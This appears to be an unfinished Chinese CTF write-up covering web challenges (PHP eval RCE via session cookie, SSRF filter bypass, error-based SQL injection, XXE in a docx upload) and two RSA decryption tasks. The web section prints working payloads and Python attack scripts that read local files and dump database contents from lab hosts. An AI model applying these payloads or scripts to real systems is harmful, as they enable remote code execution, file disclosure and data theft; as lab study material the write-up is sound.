待补,还有一部分没写
web
代码审计
<?php
if(isset($_GET['var'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['var'])) {
if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
eval($_GET['var']);
}
}
else{
die("Sorry!");
}
}
else{
show_source(__FILE__);
}
?>
原题
整体思路是绕过第一层正则匹配,之后利用 eval($_GET['var'])
和SESSION 来实现RCE
- 正则匹配部分
分析';' === preg_replace('/[^\W]+\((?R)?\)/'
[^\W]:等价于a-z,A-z,0-9,
((?R)?):匹配括号,并且重复整个正则匹配模式
也就是类似a(b(c()));
这类的值可以匹配成功,即函数无参。
- wp
import requests
url = "http://124.193.74.212:48206/?var=eval(hex2bin(session_id(session_start())));"
payload ="print_r(file_get_contents('/flag.txt'));".encode('hex')
cookies = {
'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content
session_start(session_id); //返回PHPSESSID的内容
推荐阅读:
一叶飘零师傅的PHP Parametric Function RCE
这道题法四有效(即上面的方法),期待讨论其他方法的使用。
SSRF
查看url为http://124.193.74.212:7463/index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==
将file值两次base64解码后,发现为ctfimage.jpg
一开始头铁,以为是一次编码
同时查看源代码
src='data:image,后为图片的base64
- 查看index.php的代码
`?file=YVc1a1pYZ3VjR2h3
file值两次base64编码
<?php
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['file']))
header('Refresh:0;url=./index.php?file=WTNSbWFXMWhaMlV1YW5Cbg==');
$file = base64_decode(base64_decode($_GET['file']));
echo '<title>'.$_GET['file'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo 'input_filename: '. $file.'</br>';
$file = str_replace("ctf","flag", $file);
echo 'real_filename: '.$file.'</br>';
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
* Hint: hal0flagi5here.php
*/
同样查看hal0flagi5here.php
代码
<?php
$argv[1]=$_GET['url'];
if(filter_var($argv[1],FILTER_VALIDATE_URL))
{
$r = parse_url($argv[1]);
print_r($r);
if(preg_match('/happyctf\.com$/',$r['host']))
{
$url=file_get_contents($argv[1]);
echo($url);
}else
{
echo("error");
}
}else
{
echo "403 Forbidden";
}
?>
绕过的方法网上查还是很多的
推荐:
?url=compress.zlib://file:@happyctf.com/../../flag.txt
发现其他师傅的理解思路更好
SQLI
有道相似题目,题目链接https://github.com/m0xiaoxi/CTF_Web_docker/tree/master/RCTF2015/easysql其实是一样
此题思路,在网站中,有三个地方执行sql语句
url_1 = "http://124.193.74.212:28930/register.php"
url_2 = "http://124.193.74.212:28930/login.php"
在测试过程中,发现login
难注入。
在url_3
中,会执行类似
update user_info set password = "$newpass" where username = "$username" and "$oldname";
但oldname
和newpass
有检测。
所以我们可以利用 changepwd
sql语句中的 username
来sql注入,这一点可以在index.php
中发现,username
没有过滤且可以报错。
- 在
register.php
注册,
username=demo_1"||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#&password=xzaslxr
- 在
index.php
获取cookie值。 - 在
changepwd.php
处修改密码,即执行sql语句
- 之后重新注册账号,来进行下一步注入,获取列信息
username=xzlxr"||updatexml(1,concat(0x7e,((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))),0x7e),1)#&password=hahaha
- 查找数据库
username=xzlxr"||updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1)#&password=hahahaa
脚本
import requests
url_reg = 'http://124.193.74.212:28930/register.php'
url_log = 'http://124.193.74.212:28930/login.php'
url_change = 'http://124.193.74.212:28930/changepwd.php'
pre = 'xzlxraaa"'
suf = ",0x7e),1)#"
s = ["||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))","||updatexml(1,concat(0x7e,((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')))","||updatexml(1,concat(0x7e,(select(flag)from(flag))"]
r = requests.session()
def register(name):
data = {
'username' : name,
'password' : '123',
'email' : '123',
}
r.post(url=url_reg, data=data)
def login(name):
data = {
'username' : name,
'password' : '123',
}
r.post(url=url_log, data=data)
def changepwd():
data = {
'oldpass' : '',
'newpass' : '',
}
rsp = r.post(url=url_change, data=data)
if 'target' not in rsp.text:
print(rsp.text)
for i in s:
paylaod = pre + i + suf
register(paylaod)
login(paylaod)
changepwd()
XXE
根据提示下载upload.php.bak
, 得到源代码
<?php
if(isset($_POST["submit"])) {
$target_file = getcwd()."/upload/".md5($_FILES["file"]["tmp_name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
try {
$result = @file_get_contents("zip://".$target_file."#docProps/core.xml");
$xml = new SimpleXMLElement($result, LIBXML_NOENT);
$xml->registerXPathNamespace("dc", "http://purl.org/dc/elements/1.1/");
foreach($xml->xpath('//dc:title') as $title){
echo "Title '".$title . "' has been added.<br/>";
}
} catch (Exception $e){
echo $e;
echo "上传文件不是一个docx文档.";
}
} else {
echo "上传失败.";
}
}
补充知识
registerXPathNamespace() 为下一个 XPath 查询创建命名空间上下文.
代码大意:
reslut 内容 为 docx文件中docProps目录下的core.xml
再利用SimpleXML函数将XML 转换为对象、
registerXPathNamespace() 函数为下一个 XPath 查询创建命名空间上下文,
用xpath获取dc:title内容。
将simple.docx下载,并更改后缀名为.zip
。后解压,可以看到目录为
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2020/4/1 0:51 customXml
d----- 2020/4/1 1:25 docProps
d----- 2020/4/1 0:51 word
d----- 2020/4/1 0:51 _rels
-a---- 1980/1/1 0:00 2476 [Content_Types].xml
payload:
在docProps/core.xml
添加通用实体xxe
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE root[
<!ENTITY xxe SYSTEM "/flag.txt">]>
<cp:coreProperties
xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:dcterms="http://purl.org/dc/terms/"
xmlns:dcmitype="http://purl.org/dc/dcmitype/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<dc:title>&xxe;</dc:title>
<dc:subject></dc:subject>
<dc:creator></dc:creator>
<cp:keywords></cp:keywords>
<dc:description></dc:description>
<cp:lastModifiedBy></cp:lastModifiedBy>
<cp:revision>1</cp:revision>
<dcterms:created xsi:type="dcterms:W3CDTF">2015-08-01T19:00:00Z</dcterms:created>
<dcterms:modified xsi:type="dcterms:W3CDTF">2015-09-08T19:22:00Z</dcterms:modified>
</cp:coreProperties>
CRYPTO
crypro题目,没准备保存
easyrsa
使用私钥进行解密
root@kali:~/Documents# openssl rsautl -decrypt -in flag.en -inkey rsa_private_key.pem -passin pass:123456
flag{We1c0meCtf3r_elab}
RSAbackDoor
拆解n
def gcd(a, b):
while b:
a, b = b, a%b
return a
def mapx(x):
x=(pow(x,n-1,n)+3)%n
return x
n=33774167600199691072470424898842928168570559940362770786060699320989546851695106466924163816843729828399984649770900793014896037884774039660562546937090412844276185560384964983508291174867808082182386566813393157054259464108858158903739578119760394228341564696225513954400995543629624209942565369972555679980359992955514826589781286738100616149226885302403505062415492679633217275379153421830105021673417544608398249866398042786421630495968810854036782025120509999022773806069591080190166920079688217334968528641747739241234353918892029263544388161160427668518991666960251381106788899451912317001247537576428186291689
x1=x2=1
while True:
x1=mapx(x1)
x2=mapx(mapx(x2))
p=gcd(x1-x2,n)
if (p!=1):
print(p)
print(n//p)
break
求解m
from gmpy2 import *
import libnum
e = 65537
n = 33774167600199691072470424898842928168570559940362770786060699320989546851695106466924163816843729828399984649770900793014896037884774039660562546937090412844276185560384964983508291174867808082182386566813393157054259464108858158903739578119760394228341564696225513954400995543629624209942565369972555679980359992955514826589781286738100616149226885302403505062415492679633217275379153421830105021673417544608398249866398042786421630495968810854036782025120509999022773806069591080190166920079688217334968528641747739241234353918892029263544388161160427668518991666960251381106788899451912317001247537576428186291689
c =0xcd979917f492a04b86057a070923bd0b9eae2f1b81c75bf5d8a8fba9fc2084c00f2a697b409578abebdabcf337382d09145630f4040b0c5ff411171e577f563c3cfb4e22639e0755f76be976f7d7e68f05f87f78f178079354b4cec2a5cbea443439420be0b850d1fb696c5dea420594ad957ba96216cdb9d8f1f316adac64bc6eac5150b02540e5232d68bb69dc04363e2115d9120af2fd1c9ff2cd7588880333608110d687b22170540861a6e2308714d54cdee5cd5d28a16e37732e44c2208251513196a63d17bd4f7a69c526c118eebfbb77cf25e5e419fef6c59c0a17132b538d945dab3553751278ef415559f2d5afc30146d277555545c4d192c5e1b4
p = 177993461816075408240866752227210319316825574291000376727523991315086097605063837563342286560819823849610146713383370383386260295565108973920944593141677024612114517119831676665456754235233172344362610684938542774386956894066675103840244633202469661725050948177995671009070311486253646420435061175078660441183
q = 189749484366449861630736482622030204229600074936733397229668738586605895979811823994029500725448581332746860468289540041125768726148614579255062994177531727784605194094836998282676712435286273497842956368997116036170165393912022560935791934662695453870846024312915604049805219410140420469163797779129644454583
phi = (p-1)*(q-1)
d = invert(e,phi)
m = pow(c,d,n)
print(libnum.n2s(m))
flag{54d395c65a6f914941c9026bd7dbbbcbad8a588e}
[Finished in 0.3s]